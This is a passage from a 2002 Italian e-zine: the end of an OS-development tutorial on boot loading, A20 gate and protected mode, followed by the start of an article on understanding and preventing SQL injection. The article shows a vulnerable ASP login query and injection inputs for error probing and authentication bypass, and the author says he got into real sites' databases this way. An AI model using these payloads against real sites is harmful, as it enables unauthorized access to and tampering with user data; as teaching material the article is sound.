| "FormatVolume" e, per memorizzare il nucleo del sistema (boot + kernel), |
| utilizza proprio "VolumeIO", che scrive di byte in byte e non di settore |
| in settore. E` chiaro che non posso chiedere a quella funzione di |
| scrivere il bootstrap loader sul primo settore, e poi partire dal |
| secondo per scrivere il kernel: scrivo 32256 bytes in una sola chiamata, |
| rendendo di fatto il nucleo del sistema un singolo blocco di 31.5 Kb. |
| |
| Ora, quanti settori deve caricare il bootstrap loader? |
| Uhmm... deve caricare 31.5 Kb, quindi la domanda e`: sul disco a N bytes |
| per settore, a quanti settori corrispondono 31.5 Kb di roba? Semplice: a |
| 32256 diviso per N. Siccome N e` forzosamente una potenza di due (dato |
| che il parametro BPS del VPB e` definito come il logaritmo in base due |
| del numero di bytes per settore) posso sempre ricorrere a uno shifting. |
| |
| mov ax,word ptr vtoc; ¿ |
| mov cl, BPS ; ³ calculate number of sectors |
| shr ax, cl ; ³ to be loaded as vtoc / BPS |
| inc al ; ³...+1 to avoid rounding problems... |
| mov STL, al ; Ù |
| |
| Notare che in AX non viene piazzato 32256, ma il contenuto di una |
| variabile che dice quanto e` lungo il nucleo. Anche se non si potranno |
| eccedere i fatidici 63 settori, non e` detto che non si riesca a farlo |
| piu` piccolo. Sinceramente ne dubito, ma e` meglio essere previdenti... |
| Al risultato viene infine aggiunto un settore: non e` necessario e credo |
| che lo sara` molto raramente, pero` serve nel caso che la dimensione del |
| nucleo di sistema, quei 32256 bytes, non sia un multiplo dei "bytes per |
| sector", causando la registrazione di un settore finale che contiene |
| parte del nucleo E altre cose. Siccome non ci interessa rispettare il |
| limite per quanto riguarda la memoria, che e` del tutto vuota fino alla |
| fine della convenzionale, leggere un settore in piu` non e` dannoso, e |
| possiamo evitare di fare dei conti piu` precisi (allungando il codice) |
| per sapere se l'ultimo settore del nucleo sia interamente registrato. |
| |
| Per curiosita`, nel file system di Hactar, immediatamente dopo il nucleo |
| del sistema viene piazzata la VTOC, "Volume Table Of Contents". Possiamo |
| dire che la VTOC di Hactar svolge la funzione di "root directory", ma i |
| paralleli si fermano qui. Il file system di Hactar e` molto peculiare, e |
| verra` esaminato in futuro; fra l'altro, e` ancora in fase di studio... |
| |
| Bene: il kernel e` stato interamente caricato, e possiamo passargli il |
| controllo. Pero`, gia` che ci siamo, prima facciamo qualche "backup" di |
| certe aree di memoria, e qualche controllo sull'integrita` del kernel |
| stesso. Le linee che seguono la label "@@stop" si occupano di calcolare |
| una semplice checksum delle doublewords che compongono il kernel, molto |
| semplicemente sommando tutti i valori: il risultato viene in seguito |
| confrontato con il valore di controllo preso dal VPB (variabile cksum). |
| Ma attualmente il kernel e` in fase di sviluppo, quindi la sua checksum |
| e` presunta cambiare ogni volta che si avvia il sistema dopo aver fatto |
| dei cambiamenti: invece di perder tempo a rifare la checksum, c'e` per |
| questo un segnale che informa il kernel di lasciar perdere l'esito del |
| confronto e di far partire il kernel in ogni caso. Quel segnale e` dato |
| da una "firma ASCII" a 32 bit, contenente la parola TEST. Se "cksum" |
| viene impostata, nel VPB, al valore corrispondente a 'TEST', non si ha |
| nessun controllo sulla checksum effettiva. |
| |
| Una "firma ASCII" di 32 bit e` un valore a 32 bit il cui contenuto, se |
| si considerano i bytes che lo formano come simboli in ASCII, compone |
| per l'appunto una firma, una parola, insomma qualcosa che ha un senso. |
| Ad esempio, le funzioni di mappatura della memoria dei BIOS piu` moderni |
| usano la firma 'SMAP' (System memory MAP) per assicurarsi che il |
| programma chiamante sia davvero intenzionato a chiamare quelle funzioni, |
| che insomma non lo stia facendo per errore, o che magari intendesse |
| chiamare un'altra funzione. Gia`, perche` i vari dispatchers dei vari |
| BIOS, col tempo, hanno "accavallato" i codici per chiamare le funzioni |
| e in certi casi lo stesso codice operativo (di solito e` il numero che |
| viene passato in AX o in AH) dello stesso dispatcher (della stessa INT) |
| si e` trovato ad assumere significati diversi; e per mantenere il piu` |
| possibile la compatibilita` col passato, cosi importante per il successo |
| duraturo dello standard dei PC (e anche secondo me), ecco che certe |
| nuove funzioni, come quella, cercano di differenziarsi come possono. |
| Ho fatto questa digressione sulle firme ASCII a 32 bit perche` Hactar |
| ne usa gia` molte, anche in altre circostanze: sono pratiche, compatte, |
| univoche (non generano equivoci) ed eleganti. |
| |
| Dopo il controllo della checksum, il bootstrap loader procede alla label |
| "@@strt", che effettua un ultimo backup di alcune aree di memoria che |
| risulteranno utili in futuro: la real-mode interrupt vectors table e |
| parte della BDA. Ricordate cosa sono, vero? (Capitolo 2) In totale, si |
| tratta delle locazioni da zero a 41Ah, che verranno ripristinate cosi |
| com'erano al momento del boot, dalla funzione che effettua un "quick |
| reset" del sistema. Il "quick reset", reset limitato al solo software, |
| si ottiene ripristinando tutti i vettori di interrupt per la modalita` |
| reale (Hactar ripristina anche le locazioni fino alla 41Ah, per maggior |
| sicurezza nei confronti di programmi che, per errore o volutamente, |
| potrebbero averle cambiate), e poi ricaricando, come fa il BIOS, il |
| bootstrap loader alla locazione 0000:7C00h, per poi saltare ad eseguire |
| il bootstrap loader, che quindi fara` ripartire l'intero sistema. |
| Si chiama "system reset" sul pannello di controllo di Hactar, ed e` |
| vantaggioso in molti casi, perche` molto veloce: provare per credere. |
| L'unico svantaggio e` che non ripristina lo stato delle periferiche: se |
| ad esempio un programma ha configurato la COM1 in modo da ricevere e |
| trasmettere a 38400 bauds, 8 bit dati, no parity eccetera... solo un |
| reset completo dal BIOS (warm reset, cold reset) potra` ripristinare la |
| configurazione iniziale di quella porta e delle varie altre periferiche. |
| Immediatamente dopo quest'ultimo backup, si trova l'istruzione che passa |
| il controllo del computer alla prima parte del kernel. |
| |
| db 0EAh ; ¿ direct opcode: jump far, full ptr. |
| dw @mm ; ³ destination offset (8000h) |
| dw 0 ; Ù destination segment (0000h) |
| |
| Se vi sembra piu` strana delle altre istruzioni, e` perche` viene |
| scritta direttamente in linguaggio macchina, usando un codice operativo |
| proprio alla CPU invece che un'istruzione mnemonica. L'istruzione e` |
| composta da tre parti: il codice operativo EAh, che significa "direct |
| jump to full pointer given", "salto diretto a una locazione di cui si |
| conosce l'intero indirizzo", e poi ci sono le due parti dell'indirizzo, |
| il segmento e l'offset, che appaiono in ordine inverso perche` quello |
| e` il modo in cui le CPU della serie Intel conservano tutti i valori in |
| memoria: l'ordine dei bytes (e quindi anche quello delle words, delle |
| doublewords, eccetera) e` SEMPRE invertito. Se abbiamo un numero di 32 |
| bit che leggiamo sul video come 12345678h, bisogna tener presente che |
| la CPU, una volta depositato quel numero in memoria, disporra` i bytes |
| che lo formano nell'ordine 78563412h. Puo` sembrare una complicazione |
| inutile, e alcuni (vedremo poi chi) l'hanno in effetti pensata cosi, ma |
| in realta` ha un vantaggio. Se io ho l'indirizzo che punta alla cella di |
| memoria che contiene quel valore di 32 bit, lo stesso indirizzo lo posso |
| usare per accedere anche ai suoi 16 bit meno significativi, e anche ai |
| suoi 8 bit meno significativi. Infatti, se ordinassi in memoria i bytes |
| cosi come sono, nel loro ordine "visibile", otterrei: |
| |
| INDIRIZZO X INDIRIZZO X+1 INDIRIZZO X+2 INDIRIZZO X+3 |
| 12 34 56 78 |
| |
| quindi se, come spesso accade per varie ragioni, mi trovo a considerare |
| solo il primo byte, o solo la prima word, devo cambiare indirizzo, dato |
| che il primo byte si trova a X+3, e la prima word ad X+2. Questo mi |
| costringe a svolgere un'operazione in piu`, o al limite ad usare il |
| generatore di indirizzi della CPU per svolgerla, scrivendo qualcosa come |
| "move.b D0, (A0 + 3)" (dove "A0", un registro d'indirizzamento delle CPU |
| Motorola, conterrebbe il valore di X). |
| |
| Il modo in cui i processori Intel memorizzano i numeri piu` grandi di un |
| byte si chiama "small endian", e il suo opposto si chiama "big endian", |
| ed e` usato da altri tipi di processore, fra cui i Motorola MC68xxx e la |
| serie dei PowerPC. Be', vi pareva strano che i due maggiori produttori |
| di processori per home PC si mettessero d'accordo ALMENO su come mettere |
| in memoria semplici valori, eh? Infatti, con SOLO due sistemi possibili, |
| uno ha scelto il primo e l'altro ha scelto il secondo. Chi ha bisogno di |
| standards, in fin dei conti? E` una domanda che mi rimase impressa, una |
| volta: la lessi come commento, fatto da un uomo d'affari, al sito della |
| V.E.S.A (Video Electronics Standards Association). Diceva proprio cosi: |
| "Who needs those standards anyway?". Non chiedetemi chi fosse il tizio |
| che la fece, perche` anche volendo non me lo ricordo, pero` la domanda |
| mi fece capire che se le cose funzionavano nel modo in cui funzionavano, |
| il solo motivo era la stupidita`. Tutti hanno bisogno di standards: voi |
| provate a chiederlo al poveretto che sbatte` una mano sul vetro della |
| mia Opel Corsa per avvertirmi che gli stavo venendo addosso. |
| Sapete perche`? Perche` avevo cambiato la macchina da poco, e abituato |
| alla Ford Fiesta avente la retromarcia in basso a destra, cioe` dove Dio |
| comanda, con il cambio della Opel ero partito in retromarcia credendo di |
| partire in prima. Vedete... gli standards possono salvarvi la vita. |
| |
| Ultime considerazioni sul bootstrap loader: se volete, potete trovare |
| informazioni su come funziona un MBR (un Master Boot Record, che in |
| genere e` il bootstrap loader dell'hard disk) all'indirizzo: |
| |
| http://ata-atapi.com/hiwmbr.htm |
| |
| l'MBR ha il compito di gestire il boot su dischi partizionati. |
| Come saprete dal suddetto sito, le partizioni sono registrate da anni in |
| un modo poco lungimirante, che ha dato problemi nel momento in cui gli |
| hard disk hanno superato i 528 Mb. Lo schema L-CHS a cui si accenna su |
| quella pagina e` quello che usa vari pezzettini dei registri che sono |
| usati per comunicare al dispatcher dell'interrupt 13h le coordinate CHS |
| del settore da leggere/scrivere in un modo che "allarga" il range di |
| cilindri indirizzabili da quel dispatcher (normalmente limitati al solo |
| registro CL) fino a 12 bits, pari a un massimo di 4096 cilindri. |
| Personalmente non trovo molto eleganti quei rappezzi dell'ultimo minuto, |
| e piu` in generale non digerisco bene tutto lo schema delle partizioni |
| cosi com'e` concepito, ma integrando le informazioni di questo capitolo |
| con quelle fornite da quella pagina web, siete teoricamente in grado di |
| progettare un sistema che supporti le partizioni. Lascio a voi la scelta |
| sul da farsi, per il VOSTRO S.O. |
| |
| Sono stato un po' lungo sul bootstrap loader: ma era necessario. |
| E` una parte importante, ed implica un bel po' di cose da sapere e da |
| progettare. Se volete progettare il vostro sistema, ricordatevi di |
| pianificare tutto cio` che e` possibile, prima di cominciare a scrivere |
| sul serio. Fate delle prove, usate il sorgente di Hactar per ispirarvi |
| se volete; ma a patto che non ri-distribuiate lavori che derivano |
| direttamente da quel sorgente: Hactar non e` sotto GPL, e` distribuibile |
| alle condizioni della WTOF Public License, che tra le altre cose lascia |
| all'autore il diritto esclusivo di pubblicare nuove versioni. |
| Perche`? Oh, non voglio assolutamente sembrare chiuso al pubblico, |
| in nessun modo: i miei sorgenti SONO pubblici, solo che NON VOGLIO che |
| altri possano cambiarli e poi ridistribuirli. Questo si riallaccia alla |
| questione degli standards: se si permette a tutti di produrre nuove e |
| diverse versioni di una stessa cosa, alla fine le varie versioni spesso |
| non riescono a essere compatibili. In pratica, che cosa significa? Che |
| se volete importare nel vostro S.O. anche interi pezzi del mio sorgente, |
| potete farlo, entro certi limiti (insomma, non copiate tutto e basta, |
| in quanto in quel caso sarebbe da considerarsi un prodotto direttamente |
| derivato); QUELLO CHE NON POTETE FARE e` realizzare una nuova versione |
| di Hactar, magari ingrandita e diversificata quanto vi pare, ma che |
| funzionalmente ed apparentemente si presenta come lo stesso prodotto, |
| con lo stesso nome e le stesse caratteristiche distintive. In altre |
| parole, se copiate, siete tenuti a distinguere chiaramente il vostro |
| prodotto dal mio. Altrimenti, per le convenzioni sul diritto d'autore |
| si tratterebbe di plagio, ma piu` che altro, dal mio personale punto di |
| vista, potrebbero saltar fuori versioni parzialmente intercambiabili |
| dello stesso S.O., ma non completamente compatibili. Lo "standard" del |
| sistema, insomma, ne risulterebbe rovinato: questo, e SOLO questo, e` |
| quel che temo e, forte dei miei diritti, vieto. Tengo a ribadire che |
| adoro la filosofia del "freeforall", e che non ho intenzione di ottenere |
| soldi dai miei progetti personali; soltanto, ho questa piccola riserva |
| sul concetto di open-source. Riconosco che i suoi effetti sono riducenti |
| per l'evoluzione del sorgente stesso (anche se ovviamente POSSO dare a |
| determinate persone l'autorizzazione a pubblicare nuove versioni) ma in |
| generale continuo a pensarla cosi, e non posso farci niente. |
| |
| Bene, resta il tempo e lo spazio di accennare un po' al memory manager, |
| ossia alla prima parte del kernel. Il flat memory manager, che fa anche |
| da interrupts controller, risiede in un segmento contenente codice a 16 |
| bit, ed occupa un totale di 2 Kb e un quarto. Ha principalmente un paio |
| di compiti; pochi, ma molto importanti. |
| |
| Per prima cosa, deve riconfigurare la CPU in modo che riesca a vedere, |
| al posto di uno spazio di memoria segmentato di solo un megabyte (nella |
| cosidetta modalita` reale), una serie continua di celle di memoria, |
| numerate a partire da zero, ed estendentesi fino al limite dello spazio |
| d'indirizzamento a 32 bit (ovvero a 4 Gb). Nell'ambito di questo compito |
| la prima cosa da fare e` abilitare le linee di indirizzamento da 20 a 31 |
| del bus che fa da tramite fra il processore e la memoria RAM, e che per |
| ragioni di compatibilita` con il vecchio ambiente "reale" a 16 bit, sono |
| inizialmente disabilitate. L'apertura di queste linee, tecnicamente, si |
| definisce l'apertura della "gate A20", e ci sono due modi di ottenerla: |
| un modo valido sulla circuiteria di PS/2 e derivati (attalmente rara, ma |
| non del tutto estinta), e un modo ben piu` diffuso che riguarda i PC AT, |
| ovvero il 99% di quelli in uso oggi. Sui PS/2 e` abbastanza semplice: |
| basta settare a 1 il secondo bit della porta 92h, cosa che Hactar esegue |
| con le seguenti linee di codice: |
| |
| in al, 92h ; A20 enable bit 1 of p92h |
| or al, 2 ; (this is valid for PS/2) |
| jmp $+2 |
| jmp $+2 |
| out 92h, al ; write to p92h |
| |
| che leggono il valore contenuto nella porta 92h (alcune porte funzionano |
| come locazioni di memoria che si possono leggere e scrivere con speciali |
| comandi assembly, per l'appunto IN ed OUT; altre funzionano solo in una |
| delle due vie, solo in lettura o solo in scrittura; altre ancora sono |
| adibite al trasferimento di dati, dove si possono INputare o OUTputare |
| un numero illimitato di valori nel tempo). La porta 92h dei PS/2 fa |
| parte della prima categoria: una specie di "switcher", come quelli che |
| si trovano sugli hard disks per cambiare lo stato della periferica (da |
| master a slave, per esempio). Il secondo bit puo` essere visto come un |
| "ponticello digitale", e settare in esso il valore 1 significa chiudere |
| il contatto, mentre il valore zero lo riaprirebbe. Ora, il registro AL |
| e` usato per contenere temporaneamente il valore della porta 92h dopo la |
| lettura e prima della scrittura (fra l'altro, assieme ad AX e` l'unico |
| registro che puo` essere direttamente trasferito da e verso le porte). |
| Quindi per prima cosa viene letta la porta 92h, il suo valore depositato |
| nel registro AL, poi AL viene ORato con il valore 2, che corrisponde al |
| bit 1 (al secondo bit, visto che il primo e` il bit zero), in modo che |
| tale bit venga settato a 1. La modifica al reale valore della porta 92h, |
| pero`, non avviene finche` non si RISCRIVE la porta con il comando OUT. |
| Prima di quest'ultima operazione si pongono in genere uno o due salti |
| "a vuoto", salti all'istruzione successiva, per attendere qualche |
| microsecondo: a volte i controller di queste vecchie porte sono lenti, |
| e potrebbero non accettare i comandi se vengono impartiti in modo troppo |
| rapido. Potevo usare delle NOP? No, le NOP sono accoppiabili sulle CPU |
| superscalari (cioe` a piu` di una pipeline, capaci insomma di eseguire |
| piu` istruzioni insieme). Le NOP sono buone per allineare dati e codice, |
| ma non sono altrettanto valide per far aspettare un po' la CPU. Un salto |
| a vuoto, invece, costringe il processore a interrompere la coda di |
| prefetch per tutte le pipelines. Ergo, lo costringono ad eseguire quelle |
| istruzioni una per volta, aspettando in questo caso 2 cicli macchina. |
| Fatto questo, se abbiamo a che fare con la circuiteria "tipo PS/2", il |
| processore dovrebbe aver abilitato le linee d'indirizzamento da 20 a 31, |
| e per verificare si passa a fare un semplicissimo controllo: |
| |
| call a20test ; A20 actually enabled? |
| jz a20enabled ; (yes) |
| |
| Per quanto riguarda il funzionamento dell'a20test, come ho detto e` |
| molto semplice: anche senza passare alla modalita` flat, da quella reale |
| e` possibile, se ci si pensa bene, accedere a locazioni poste oltre il |
| fatidico limite del primo megabyte di memoria fisica. Precisamente, si |
| possono raggiungere ben 65520 bytes di memoria al di fuori del primo Mb: |
| quest'area di memoria va sotto il nome di HMA (High Memory Area). |
| Per esempio, in essa viene depositato spesso gran parte del sistema |
| operativo MS-DOS, come si puo` verificare tramite il comando "mem", che |
| in tali casi recita "MS-DOS e` residente nell'area di memoria alta". |
| Come e` possibile raggiungerla? Ponendo uno dei registri di segmento, |
| in modalita` reale, al valore FFFFh, il massimo valore raggiungibile. |
| Se questo, nella dinamica degli indirizzi della modalita` reale spiegata |
| nel capitolo 2, viene aggiunto ad un offset di Fh (15 in decimale), si |
| stara` indirizzando la locazione FFFFFh, ovvero l'ultima disponibile al |
| di sotto del primo megabyte. Ma noi sappiamo che l'offset e` di 16 bit, |
| e quindi possiamo ampiamente superare il valore Fh, arrivando a un nuovo |
| limite di FFFFh:FFFFh, posto appunto 65519 bytes AL DI FUORI del primo |
| megabyte di memoria fisica. Il test fa proprio questo: se il BUS risulta |
| ancora di 20 bit soltanto, qualsiasi indirizzo piu` altro di FFFFh:Fh |
| verra` "tagliato" dalla CPU (questo fenomeno si chiama "wraparound"), in |
| modo che, ad esempio, l'indirizzo FFFFh:10h, corrispondente a 100000h, |
| generera` un "bit di riporto" fuori dal range di 20 bit (proprio come un |
| riporto aritmetico, un "overflow"), e in 20 bit soltanto quell'indirizzo |
| di 21 bit verra` visto come "00000h", ovvero puntera` proprio alla PRIMA |
| locazione di memoria fisica, cioe` al vettore dell'interrupt zero. |
| Il ragionamento a questo punto e` banale: si prova a cambiare il valore |
| del primo byte che si trova al di la del primo megabyte. Se quel valore |
| viene davvero cambiato (e quindi non si riflette come un cambiamento del |
| primo byte di memoria in assoluto), significa che siamo riusciti ad |
| abilitare le linee d'indirizzamento da 20 a 31, ad aprire la "gate A20". |
| Il test, in quel caso, setta il flag "zero" (ZF) che deriva direttamente |
| dal confronto del valore a FFFFh:10h, segnalando che la gate e` aperta. |
| Altrimenti, a questo punto non ci troviamo a che fare con il tipo PS/2, |
| e quindi procediamo con un altro tentativo volto ad aprire A20 sui PC di |
| tipo AT, con le seguenti istruzioni: |
| |
| call a20wait ; (no, so try with AT style) |
| jnz a20ATtry |
| mov al, 0d1h ; output to i8042 STATUS PORT |
| out 64h, al |
| call a20wait ; wait for safe write |
| jnz a20ATtry ; proceed |
| mov al, 0dfh ; tell PORT A to enable A20 |
| out 60h, al |
| call a20wait ; wait for safe write |
| a20ATtry: mov cx, 2048 ; try 2048 cycles |
| a20try_loop: call a20test ; enabled? |
| jz a20enabled ; (yes) |
| in al, 40h ; current PIT ch.0 tick |
| jmp $+2 |
| jmp $+2 |
| in al, 40h |
| mov ah, al ; save current tick number |
| a20try_loop_2: in al, 40h ; wait next tick |
| jmp $+2 |
| jmp $+2 |
| in al, 40h |
| cmp al, ah ; still same tick? |
| je a20try_loop_2 ; (yes) |
| loop a20try_loop ; (no, go on with next try) |
| |
| nei dettagli, spiegare come funzionano i cicli di attesa prenderebbe |
| un po' troppo spazio, e siamo agli sgoccioli e vorrei accennare ad altre |
| cose: diro` che implicano le caratteristiche del famoso PIT, attraverso |
| la porta 40h che e` quella da cui, in lettura, si puo` accedere al |
| conteggio interno del canale zero. Per il resto, sinceramente potete |
| prendere questo frammento "per buono", la sua unica funzione e` quella |
| di aprire la gate A20. Questo avviene, in particolare, attraverso un |
| comando di scrittura sulla porta 60h, chiamata PORT A e connessa alla |
| chip i8042, che e` il controller della tastiera. Ora, cosa c'entri la |
| gate A20 con la tastiera sinceramente NON LO SO, so solo che in effetti, |
| come risulta da quest'estratto del file PORTS.A dei Ralf Brown files... |
| |
| Bitfields for AT keyboard controller output port: |
| Bit(s) Description (Table P0383) |
| 7 keyboard data output |
| 6 keyboard clock output |
| 5 input buffer NOT full |
| 4 output buffer NOT empty |
| 3 reserved (see note) |
| 2 reserved (see note) |
| 1 gate A20 |
| 0 system reset |
| |
| ...a quanto pare il keyboard controller e` predisposto anche per il |
| controllo di questa funzione. Probabilmente si tratta di una questione |
| di compatibilita` con sistemi precedenti ma, lo ripeto, non so perche` |
| il bit di controllo della gate A20 sia stato messo proprio li, ne` so |
| perche` il codice di comando da inviare alla porta sia DFh, che letto |
| in binario significa 11011111, e che secondo la tabella significherebbe |
| settare tutte le condizioni tranne il bit 5, "input buffer NOT full". |
| Il frammento per aprire gate A20 e` infatti costante, in qualsiasi |
| situazione, usato nello stesso modo dai vari extender (DPMI servers, |
| DOS4GW, HIMEM.SYS, PMode, eccetera), e il codice di comando DFh, oltre |
| al fatto che funziona al di la di ogni dubbio, e` riportato tale e |
| quale sul manuale d'assembly che menzionai nel primo capitolo, cioe` |
| il Murray-Pappas, che testualmente (ma confusionariamente, dato che i |
| traduttori facevano del loro meglio per capire quel che non potevano |
| capire) riporta: |
| |
| 0DDh bit 20 bus indirizzi disattivato (A20 sempre 0) |
| 0DFh bit 20 bus indirizzi attivato (286 controlla A20) |
| |
| E dove il "bit 20" e` in realta` solo un modo piu` breve di indicare i |
| bits da 20 a 31: non e` che si possa aprire o chiudere SOLO il bit 20. |
| Per finire, prima di scrivere sulla porta di controllo dell'i8042, |
| ovvero la 60h, selezionata in precedenza inviando un codice di comando |
| D1h alla porta 64h, ci si accerta che il suo buffer di scrittura, in |
| cui vengono conservati i comandi inviati e attualmente in attesa di |
| essere eseguiti dalla chip, non sia pieno. Questo e` segnalato da un |
| readback (un'operazione di lettura, di INput) sulla porta di stato, |
| la 64h, alla ricerca del segnale di buffer pieno dato da un eventuale |
| settaggio del bit 1 nel risultato della lettura (registro AL). Anche |
| se non ci avete capito molto, non curatevene: esiste un solo modo di |
| aprire la gate A20 sugli AT... potete benissimo fare un bel "taglia e |
| incolla" e lavarvene le mani, come del resto ho "quasi" fatto io ;) |
| |
| Veniamo al resto dell'inizializzazione della modalita` flat a 32 bit. |
| In seguito all'apertura della gate A20, e quindi di tutte le linee del |
| BUS della memoria dalla 20 alla 31, siamo in grado di accedere a tutta |
| la memoria fino ai promessi 4 Gb? No. Non ancora. Siamo ancora costretti |
| nello spazio del primo megabyte dal fatto di usare registri a 16 bit per |
| l'indirizzamento delle celle di memoria. Insomma, stavolta si tratta di |
| far capire alla CPU che vogliamo, d'ora in avanti, usare registri di 32 |
| bit come EDI, ESI, EBP al posto dei "vecchi" DI, SI, BP. Fra l'altro, |
| una volta entrati in modalita` flat saremo in grado di usare qualsiasi |
| registro a 32 bit per accedere alla memoria (anche EAX, ECX ed EDX). |
| C'e` un solo modo di costringere una CPU in standard Intel a funzionare |
| in modalita` flat: entrare in modalita` protetta. Ma questo non vuol |
| dire che USEREMO le caratteristiche di protezione: avremo la modalita` |
| protetta, ma ignoreremo le sue caratteristiche di protezione, |
| limitandoci a sfruttare le sue capacita` d'indirizzamento a 32 bit. |
| |
| Qui il discorso si complica: in teoria, l'operazione che porta la CPU ad |
| entrare in modalita` protetta e` una semplice modifica al registro di |
| controllo denominato CR0 (sigla di Control Register 0, per l'appunto): |
| |
| mov eax, cr0 |
| or eax, 1 |
| mov cr0, eax |
| |
| bastano tre righe di codice. O meglio, basterebbero. |
| Il fatto e` che l'ingresso in modalita` protetta comporta innumerevoli |
| cambiamenti nel modo in cui la CPU esegue TUTTI i programmi in corso, |
| siano essi parte del kernel, di una semplice applicazione o addirittura |
| del BIOS. Quindi, se provaste a fare una cosa del genere senza prima |
| preparare il sistema a funzionare nella nuova modalita`, si pianterebbe |
| tutto immediatamente. Bene: siamo in chiusura, e le operazioni da fare |
| per preparare il sistema all'ingresso in modalita` protetta le vedremo |
| la prossima volta, molto in dettaglio (perche` sono importantissime). |
| Ma per fare il punto della situazione vi faro` un breve sommario delle |
| questioni da risolvere. Fissatevi in memoria i paroloni usati: |
| |
| 1. In modalita` protetta i registri di segmento, cioe` CS, DS, ES, |
| FS, GS, SS, si chiamano "selettori" e funzionano in un modo che |
| non ha niente a che vedere con la modalita` reale: essi puntano |
| a delle aree di memoria i cui limiti ed attributi sono forniti |
| da una serie di registrazioni poste in RAM, e ognuna di queste |
| registrazioni e` detta "descrittore". Ora, tutti i descrittori |
| delle aree di sistema sono mantenuti in una tabella, chiamata |
| Global Descriptors Table, in sigla GDT, che dovremo costruirci |
| e della quale dovremo fornire al processore l'indirizzo del suo |
| primo byte (noto come l'indirizzo di base della GDT). Oltre alla |
| GDT potrebbero esserci una o piu` LDT (Local Descriptors Table) |
| che sono tabelle di descrittori che riguardano le applicazioni: |
| siccome in Hactar le applicazioni possono usare direttamente la |
| GDT di sistema per accedere alla memoria, non costruiremo nessuna |
| di queste LDT. |
| |
| 2. Le interrupts stesse, in modalita` protetta hanno una loro |
| tabella di descrittori, che ha la stessa funzione svolta, in |
| modalita` reale, dalla IVT (Interrupt Vectors Table). Questa |
| tabella di descrittori riservata alle interrupts si chiama IDT, |
| cioe` Interrupt Descriptors Table. Il sistema dovra` costruire |
| anche una di queste tabelle. |
| |
| 3. Tutti i programmini che gestiscono le interrupts, al momento del |
| passaggio alla modalita` protetta, saranno ancora gli stessi, ed |
| useranno codice a 16 bit previsto per funzionare in modalita` |
| reale; casomai, solo IN SEGUITO potremo caricare dei programmi di |
| gestione delle interrupts funzionanti in modalita` flat; ma al |
| momento del primo "mode switch" (cosi si chiama il passaggio da |
| modalita` protetta o flat a modalita` reale, e viceversa) dovremo |
| fare in modo che TUTTE le interrupts continuino a funzionare come |
| se nulla fosse accaduto. |
| |
| 4. Una volta effettuato il mode switch, dovremo ri-invalidare la |
| "coda di prefetch" delle istruzioni da parte del processore, che |
| altrimenti conterrebbe ancora puntatori a istruzioni nel formato |
| segmento:offset. La "coda di prefetch", infatti, ha lo scopo di |
| precaricare le prossime istruzioni in memoria cache, cosicche` |
| non si subiscano ritardi dovuti all'accesso alla DRAM. Come per |
| i cicli di attesa visti in precedenza, si trattera` di fare un |
| "salto a vuoto", ma stavolta dovremo specificare un'indirizzo di |
| destinazione in un formato diverso, quello flat, anche se esso |
| verra` comunque a corrispondere all'istruzione successiva. |
| |
| E` difficile, dite? Molto piu` a spiegarsi, e a capirsi, che a FARSI. |
| Il prototipo di kernel che vi ho fornito fa gia` tutto questo nei suoi |
| primi 2,25 Kb di codice, quelli che corrispondono al memory manager; |
| e dopo aver visto come funziona il memory manager, e la modalita` flat, |
| vedremo tutto il resto del codice del kernel, che per l'appunto funziona |
| esclusivamente in modalita` flat: la piu` semplice e la piu` veloce. |
| |
| Alexander The Great |
| |
| http://anywhere.i.am |
| alex.tg@tiscalinet.it |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [MiSC] #06 - 25/04/2002 |
| CAPiRE E PREVENiRE GLi ATTACCHi: SQL iNJECTi0N [SNHYPER] 0x0E/0x1D |
+--------------------------------------------------------------------------+
| |
| In questo articolo analizzeremo gli attacchi di SQL injection, ovvero |
| quegli attacchi che prevedono l'inserimento di codice (quini comandi) |
| SQL addizionali nelle input box che sono presenti in molti siti web che |
| utilizzano database per la gestione di utenti, informazioni etc... |
| |
| |
| I programmatori delle form web ( che utilizzano Perl, ASP,CGI etc..) |
| "invitano" l'utente ad inserire i dati richiesti all'interno do ogni |
| "data-field" (campo). Molte volte non hanno la cura o la perizia di |
| immaginare tutti i possibili dati che possono essere immessi nei |
| suddetti campi (accidentalmente o di proposito). L'input "scorretto" e' |
| usato solitamente per creare comandi che, elaborati dallo script in modo |
| scorretto, vengono eseguiti contro il server SQL. Nei miei |
| test,purtroppo molti siti sono risultati vulnerabili, permettendomi di |
| accedere con facilita'
al database contenuto nel server, e quindi |
| lasciandomi capace di leggere e / o modificare dati molte volte |
| sensibili. |
| |
| |
| Ma ora veniamo alla parte pratica. |
| |
| |
| Vediamo una semplice riga di codice usata per fare il login al server |
| SQL tramite una pagina web: |
| |
| ----start-code---- |
| |
| SQL = " select * from users where username = ' " & |
| request.form ( " username " ) & " ' and password = ' " & |
| request.form ( " password " ) & " ' " |
| |
| ------end-code---- |
| |
| |
| Quando l'utente che deve effettuare il login immette la classica |
| coppiata username e password, le variabili SQL conterranno i dati |
| immessi, quindi la situazione in codice sara' la seguente [poniamo |
| user=SNHYPER e pass=hacker] : |
| |
| ----start-code---- |
| |
| select * from users where username = ' SNHYPER ' and password |
| = ' hacker ' |
| |
| ------end-code---- |
| |
| |
| Se questo comando SQL viene eseguito verso il database esso, come |
| possiamo intuire, ritornera' il *record* ( username e password sono |
| corrette), o non ritornera' nulla (in quanto non e' stata trovata |
| nessuna voce [record] nel database e quindi.. username e password sono |
| errate). |
| |
| |
| Ora iniziamo ad analizzare la tipologia di attacco relativa. Proviamo ad |
| introdurre il singolo apice ( ' ) all'interno dell'input box e |
| inviare: |
| |
| ______________________________ |
| | | |
| | USERNAME: ' | |
| | PASSWORD: | |
| |______________________________| |
| |
| |
| La seguente risposta è ritornata dal server (la risposta può variare) : |
| |
| |
| Syntax error in string in query expression 'username=''' AND |
| password='';'. |
| |
| |
| Suppongo che a prima impressione non vi dica niente.....ma la frase " |
| imparare dagli errori..." non è detta per niente... Infatti ora |
| l'attaccante sa il nome dei campi usati all'interno del codice! E cioè |
| in questo caso username e password, ma che sarebbe potuto essere |
| benissimo altro ( a me è capitato ad esempio *user , passwd*, *user , |
| pass* etc...). Avendo in mano i campi usati all'interno del codice, |
| l'attaccante può |
| passare al prossimo *livello*. |
| |
| |
| Proviamo ad inserire i seguenti input nella box di login: |
| |
| |
| ________________________________________________ |
| | | |
| | USERNAME: ' or username like ' % | |
| | PASSWORD: ' or password like ' % | |
| |_______________________________________________| |
| |
| /* al posto di username e password..l'attaccante userà i campi |
| trovati dall'errore...in questo caso è corretto */ |
| |
